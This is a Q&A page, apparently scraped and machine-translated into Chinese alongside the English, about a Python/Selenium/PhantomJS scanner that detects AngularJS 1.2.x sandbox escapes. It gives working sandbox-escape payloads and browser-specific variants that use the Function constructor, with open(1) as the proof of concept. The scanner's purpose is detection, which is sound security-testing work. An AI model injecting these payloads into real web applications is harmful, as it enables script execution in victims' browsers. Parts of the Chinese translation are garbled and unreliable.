PhantomJS/WebKit中的奇怪JavaScript行为

时间:2022-05-03 17:23:53

I am building an application in Python that checks if a certain web application is vulnerable for an AngularJS Sandbox Escape/Bypass.

我正在用Python构建一个应用程序,它检查某个web应用程序对于AngularJS沙箱转义/旁路是否脆弱。

Here is how it works.

这就是它的工作原理。

My app starts a local web server (http://localhost) using the following content.

我的应用程序使用以下内容启动本地web服务器(http://localhost:)。

<!DOCTYPE html>
<html>
    <head>
        <script src="https://code.angularjs.org/1.2.19/angular.min.js"></script>
    </head>
    <body ng-app="">
        {{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","open(1)"].sort(c)}}
    </body>
</html>

The Sandbox Escape payload I am using is {{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","open(1)"].sort(c)}}, which should open a new window due to the open(1) call.

我正在使用的沙箱转义有效负载是{c=toString.constructor;p=c.prototype;p.toString= p.t string;["a","open(1)"].sort(c)}},由于open(1)调用,它应该打开一个新的窗口。

After starting the web server it uses Selenium (with PhantomJS as driver) to check if a new window opened due to the AngularJS Sandbox Escape.

在启动web服务器之后,它使用Selenium(以PhantomJS作为驱动程序)检查是否由于AngularJS沙箱转义打开了一个新窗口。

capabilities = dict(DesiredCapabilities.PHANTOMJS)
capabilities["phantomjs.page.settings.XSSAuditingEnabled"] = False

browser = webdriver.PhantomJS(
    executable_path="../phantomjs/win-2.1.1",
    desired_capabilities=capabilities,
)

browser.get("http://localhost/")

return len(browser.window_handles) >= 2

The problem I'm facing

我面临的问题

PhantomJS does not open a new window. When I navigate to http://localhost using Google Chrome it does open a new window.

PhantomJS不会打开一个新窗口。当我使用谷歌Chrome导航到http://localhost时,它确实打开了一个新窗口。

Here is the PhantomJS console log (containing two errors):

这是PhantomJS控制台日志(包含两个错误):

[
    {
        "level":"WARNING",
        "message":"Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&p1=SyntaxError%3A%20Expected%20token%20')'\n (anonymous function) (https://code.angularjs.org/1.2.19/angular.min.js:92)",
        "timestamp":1501431637142
    },
    {
        "level":"WARNING",
        "message":"Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&p1=Error%3A%20%5B%24parse%3Aisecfn%5D%20http%3A%2F%2Ferrors.angularjs.org%2F1.2.19%2F%24parse%2Fisecfn%3Fp0%3Dc%253DtoString.constructor%253Bp%253Dc.prototype%253Bp.toString%253Dp.call%253B%255B'a'%252C'open(1)'%255D.sort(c)\n (anonymous function) (https://code.angularjs.org/1.2.19/angular.min.js:92)",
        "timestamp":1501431637142
    }
]

And this is the Google Chrome console log (throws an error but does open a new window):

这是谷歌Chrome控制台日志(抛出一个错误但确实打开了一个新窗口):

Error: [$interpolate:interr] http://errors.angularjs.org/1.2.19/$interpolate/interr?p0=%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bc%3DtoString.constructor%3Bp%3Dc.prototype%3Bp.toString%3Dp.call%3B%5B'a'%2C'open(1)'%5D.sort(c)%7D%7D%20%20%20%20%20%20%20%20%20%20%20%20%0A%0A&p1=Error%3A%20%5B%24parse%3Aisecfn%5D%20http%3A%2F%2Ferrors.angularjs.org%2F1.2.19%2F%24parse%2Fisecfn%3Fp0%3Dc%253DtoString.constructor%253Bp%253Dc.prototype%253Bp.toString%253Dp.call%253B%255B'a'%252C'open(1)'%255D.sort(c)
    at angular.js:36
    at Object.r (angular.js:8756)
    at k.$digest (angular.js:12426)
    at k.$apply (angular.js:12699)
    at angular.js:1418
    at Object.d [as invoke] (angular.js:3917)
    at c (angular.js:1416)
    at cc (angular.js:1430)
    at Xc (angular.js:1343)
    at angular.js:21773

Some other AngularJS Sandbox Escape payloads work without any problems. For example the payload below (for AngularJS version 1.0.0 to 1.1.5) opens a new window in Chrome aswell as PhantomJS.

一些其他的AngularJS沙箱可以在没有任何问题的情况下工作。例如,下面的有效负载(对于AngularJS版本1.0.0到1.1.5)在Chrome和PhantomJS中打开一个新窗口。

{{constructor.constructor('open(1)')()}}

{ { constructor.constructor(“开放(1)”)()} }

I hope someone will be able to help me fix this issue so that I can detect if the payload executed succesfully.

我希望有人能帮助我解决这个问题,以便我能检测有效载荷是否成功执行。

Please note that I am using open(1) instead of alert(1) since it's not possible to detect alerts in PhantomJS.

请注意,我使用的是open(1)而不是alert(1),因为无法在PhantomJS中检测警报。

Thanks in advance.

提前谢谢。


Update 1:

更新1:

This is a JSFiddle that works in Google Chrome, but does not work in PhantomJS. I am looking for a solution (maybe a change in the payload or the PhantomJS settings or something) so that the payload also triggers in PhantomJS.

这是一个在谷歌Chrome中工作的JSFiddle,但是在PhantomJS中不工作。我正在寻找一个解决方案(可能是有效负载或PhantomJS设置的改变),这样有效负载也会在PhantomJS中触发。

https://jsfiddle.net/x90ey5fa/

https://jsfiddle.net/x90ey5fa/

Update 2:

更新2:

I found out it's not related to AngularJS. The JSFiddle below contains 4 lines of JavaScript which work in Google Chrome but do not work in PhantomJS. I also attached the console log from PhantomJS.

我发现它和AngularJS无关。下面的JSFiddle包含4行JavaScript,它们在谷歌Chrome中工作,但是在PhantomJS中不工作。我还附上了PhantomJS的控制台日志。

https://jsfiddle.net/x90ey5fa/2/

https://jsfiddle.net/x90ey5fa/2/

{'level': 'WARNING', 'message': "SyntaxError: Expected token ')'\n  Function (undefined:1)\n  sort (:0)", 'timestamp': 1501795341539}`

Version details:

版本信息:

Operating System: Windows 10 x64

操作系统:Windows 10 x64

Python version: 3.6.1

Python版本:3.6.1

Google Chrome version: 60.0.3112.78

Google Chrome版本:60.0.3112.78

PhantomJS version: 2.1.1

PhantomJS版本:2.1.1

Selenium version: 3.4.3 (installed via PIP)

Selenium版本:3.4.3(通过PIP安装)

2 个解决方案

#1


2  

Your Safari error is very illuminating (and I am kicking myself for not reading it more closely). Observe:

您的Safari错误很有启发性(我正在责备自己没有更仔细地阅读它)。观察:

Syntax Error: Unexpected token '('. Expected a ')' or a ',' after a parameter declaration.

语法错误:意外令牌'('。在参数声明之后,期望a '或' '。

This parameter declaration part is important.

这个参数声明部分很重要。

What the payload does is

有效载荷是什么

  1. Set c to the toString constructor, Function (which creates functions)
  2. 将c设置为toString构造函数Function(创建函数)
  3. Redirects the Function prototype's toString method to call
  4. 重定向函数原型的toString方法调用
  5. Sorts the array using c, thus creating a new function via Function("a", "open(1)")
  6. 使用c对数组进行排序,从而通过函数(“a”、“open(1)”)创建一个新函数
  7. I'm not sure why, but the result of this sort is converted to string via toString, which has been redirected to call, resulting in calling the new function, which calls open(1)
  8. 我不知道为什么,但是这种类型的结果通过toString被转换为string, toString被重定向到调用,导致调用新函数,它调用open(1)

That is how it works in Chrome, anyway. However .sort() does not necessarily work the same way in all browsers. It's just supposed to sort things... so why does it matter what order it looks at items? After all, the function passed should make sure that everything comes out in the right order anyway.

总之,这就是Chrome的工作原理。但是.sort()在所有浏览器中不一定都以相同的方式工作。它只是用来分类东西……那么,为什么它看项目的顺序不同重要呢?毕竟,传递的函数应该确保所有东西都以正确的顺序出现。

As MDN says, the syntax for Function is

正如MDN所说,函数的语法是

Function ([arg1[, arg2[, ...argN]],] functionBody)

WebKit is sorting it "backwards", so instead of calling Function("a", "open(1)"), it makes the call be Function("open(1)", "a"). When multiple arguments are given, the last one is assumed to be the function body and all the rest are interpreted as arguments. This is why you're getting the unexpected token. Parenthesis are not a valid part of a parameter name.

WebKit“向后”排序,所以它不调用函数(“a”、“open(1)”),而是调用函数(“open(1)”)”、“”)。当给出多个参数时,最后一个参数被假定为函数体,其余的都被解释为参数。这就是为什么你会得到意想不到的标记。括号不是参数名称的有效部分。

Here is an alternative:

这是一个选择:

c=toString.constructor;p=c.prototype;p.toString=p.call;["open(1)","a"].sort(c)

I tested it in my QtWebKit-based browser and it worked. Of course it will also cause a SyntaxError on Chrome because the arguments are "backwards"...

我在基于qtwebkit的浏览器中进行了测试,结果成功了。当然,它也会导致Chrome上的语法错误,因为参数是“反向的”……


The below are several attempts to get this to work seamlessly in Angular both on PhantomJS and Chrome. Again, these do not work. I'm leaving these here in case they inspire someone to create a more complete solution.

下面是几次尝试,试图让它在显视差和Chrome上无缝地工作。再说一遍,这些都不管用。我把这些放在这里,以防他们激发人们去创造一个更完整的解决方案。

Works on PhantomJS and Chrome but not with Angular (due to the function):

在显色和铬上工作,但不具有角度(由于功能):

[1, 0].sort(function(a, b){n=a});d=(n)?["a","open(1)"]:["open(1)","a"];c=toString.constructor;p=c.prototype;p.toString=p.call;d.sort(c)

Works with Angular on Chrome, but not PhantomJS:

对铬有角度的工作,但不是幽灵:

c=toString.constructor;p=c.prototype;p.toString=p.call;['b=1','d=1'].sort(c);((window.b===undefined)?["a","alert(1)"]:['alert(1)','a']).sort(c)

#2


0  

You can do it in a variety of ways. To name a few:

你可以用各种方法来做。举几例:

You can create (or delete) an HTML element and detect it in Selenium.

您可以创建(或删除)一个HTML元素并在Selenium中检测它。

Also, you can do a console.log and detect it with this: Is there a way to view PhantomJS console.log messages via Selenium/GhostDriver?

此外,您还可以使用控制台。日志和检测:是否有一种方法可以查看PhantomJS控制台。日志消息通过硒/ GhostDriver吗?

And other way can be to call a PhantomJS function that will directly notify the phantom instance with any payload you want (as long as the payload is JSON.stringifable).

另一种方法是调用PhantomJS函数,该函数将用您想要的任何有效负载(只要有效负载是JSON.stringifable)直接通知phantom实例。

Never used Selenium so don't know if you can access the PhantomJS/page instance. If Selenium allows you to do so you can do something like this:

从未使用过Selenium,所以不知道是否可以访问PhantomJS/page实例。如果Selenium允许你这么做,你可以这样做:

phantomjs.page.onCallback = function(data) {
    console.log('CALLBACK: ' + JSON.stringify(data));
};

And in your webpage:

在你的网页:

{{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","window.callPhantom && window.callPhantom('YAY!')"].sort(c)}}

For instance, as long as you can run the JavaScript code that you want, you can do whatever you can think of.

例如,只要您能够运行您想要的JavaScript代码,您就可以做任何您想做的事情。

An easy way of doing this is to thing in "reverse mode".

一个简单的方法是“反向模式”。

  • What can Selenium detect on the page? Reply: Wait for an element to appear.
  • 页面上的Selenium检测到什么?回复:等待一个元素出现。
  • How can I make those changes? Reply: Creating an element and attaching it to the body for Selenium to detect it.
  • 我怎样才能做出这些改变呢?答:创建一个元素并将其附加到主体上,以便Selenium检测它。

#1


2  

Your Safari error is very illuminating (and I am kicking myself for not reading it more closely). Observe:

您的Safari错误很有启发性(我正在责备自己没有更仔细地阅读它)。观察:

Syntax Error: Unexpected token '('. Expected a ')' or a ',' after a parameter declaration.

语法错误:意外令牌'('。在参数声明之后,期望a '或' '。

This parameter declaration part is important.

这个参数声明部分很重要。

What the payload does is

有效载荷是什么

  1. Set c to the toString constructor, Function (which creates functions)
  2. 将c设置为toString构造函数Function(创建函数)
  3. Redirects the Function prototype's toString method to call
  4. 重定向函数原型的toString方法调用
  5. Sorts the array using c, thus creating a new function via Function("a", "open(1)")
  6. 使用c对数组进行排序,从而通过函数(“a”、“open(1)”)创建一个新函数
  7. I'm not sure why, but the result of this sort is converted to string via toString, which has been redirected to call, resulting in calling the new function, which calls open(1)
  8. 我不知道为什么,但是这种类型的结果通过toString被转换为string, toString被重定向到调用,导致调用新函数,它调用open(1)

That is how it works in Chrome, anyway. However .sort() does not necessarily work the same way in all browsers. It's just supposed to sort things... so why does it matter what order it looks at items? After all, the function passed should make sure that everything comes out in the right order anyway.

总之,这就是Chrome的工作原理。但是.sort()在所有浏览器中不一定都以相同的方式工作。它只是用来分类东西……那么,为什么它看项目的顺序不同重要呢?毕竟,传递的函数应该确保所有东西都以正确的顺序出现。

As MDN says, the syntax for Function is

正如MDN所说,函数的语法是

Function ([arg1[, arg2[, ...argN]],] functionBody)

WebKit is sorting it "backwards", so instead of calling Function("a", "open(1)"), it makes the call be Function("open(1)", "a"). When multiple arguments are given, the last one is assumed to be the function body and all the rest are interpreted as arguments. This is why you're getting the unexpected token. Parenthesis are not a valid part of a parameter name.

WebKit“向后”排序,所以它不调用函数(“a”、“open(1)”),而是调用函数(“open(1)”)”、“”)。当给出多个参数时,最后一个参数被假定为函数体,其余的都被解释为参数。这就是为什么你会得到意想不到的标记。括号不是参数名称的有效部分。

Here is an alternative:

这是一个选择:

c=toString.constructor;p=c.prototype;p.toString=p.call;["open(1)","a"].sort(c)

I tested it in my QtWebKit-based browser and it worked. Of course it will also cause a SyntaxError on Chrome because the arguments are "backwards"...

我在基于qtwebkit的浏览器中进行了测试,结果成功了。当然,它也会导致Chrome上的语法错误,因为参数是“反向的”……


The below are several attempts to get this to work seamlessly in Angular both on PhantomJS and Chrome. Again, these do not work. I'm leaving these here in case they inspire someone to create a more complete solution.

下面是几次尝试,试图让它在显视差和Chrome上无缝地工作。再说一遍,这些都不管用。我把这些放在这里,以防他们激发人们去创造一个更完整的解决方案。

Works on PhantomJS and Chrome but not with Angular (due to the function):

在显色和铬上工作,但不具有角度(由于功能):

[1, 0].sort(function(a, b){n=a});d=(n)?["a","open(1)"]:["open(1)","a"];c=toString.constructor;p=c.prototype;p.toString=p.call;d.sort(c)

Works with Angular on Chrome, but not PhantomJS:

对铬有角度的工作,但不是幽灵:

c=toString.constructor;p=c.prototype;p.toString=p.call;['b=1','d=1'].sort(c);((window.b===undefined)?["a","alert(1)"]:['alert(1)','a']).sort(c)

#2


0  

You can do it in a variety of ways. To name a few:

你可以用各种方法来做。举几例:

You can create (or delete) an HTML element and detect it in Selenium.

您可以创建(或删除)一个HTML元素并在Selenium中检测它。

Also, you can do a console.log and detect it with this: Is there a way to view PhantomJS console.log messages via Selenium/GhostDriver?

此外,您还可以使用控制台。日志和检测:是否有一种方法可以查看PhantomJS控制台。日志消息通过硒/ GhostDriver吗?

And other way can be to call a PhantomJS function that will directly notify the phantom instance with any payload you want (as long as the payload is JSON.stringifable).

另一种方法是调用PhantomJS函数,该函数将用您想要的任何有效负载(只要有效负载是JSON.stringifable)直接通知phantom实例。

Never used Selenium so don't know if you can access the PhantomJS/page instance. If Selenium allows you to do so you can do something like this:

从未使用过Selenium,所以不知道是否可以访问PhantomJS/page实例。如果Selenium允许你这么做,你可以这样做:

phantomjs.page.onCallback = function(data) {
    console.log('CALLBACK: ' + JSON.stringify(data));
};

And in your webpage:

在你的网页:

{{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","window.callPhantom && window.callPhantom('YAY!')"].sort(c)}}

For instance, as long as you can run the JavaScript code that you want, you can do whatever you can think of.

例如,只要您能够运行您想要的JavaScript代码,您就可以做任何您想做的事情。

An easy way of doing this is to thing in "reverse mode".

一个简单的方法是“反向模式”。

  • What can Selenium detect on the page? Reply: Wait for an element to appear.
  • 页面上的Selenium检测到什么?回复:等待一个元素出现。
  • How can I make those changes? Reply: Creating an element and attaching it to the body for Selenium to detect it.
  • 我怎样才能做出这些改变呢?答:创建一个元素并将其附加到主体上,以便Selenium检测它。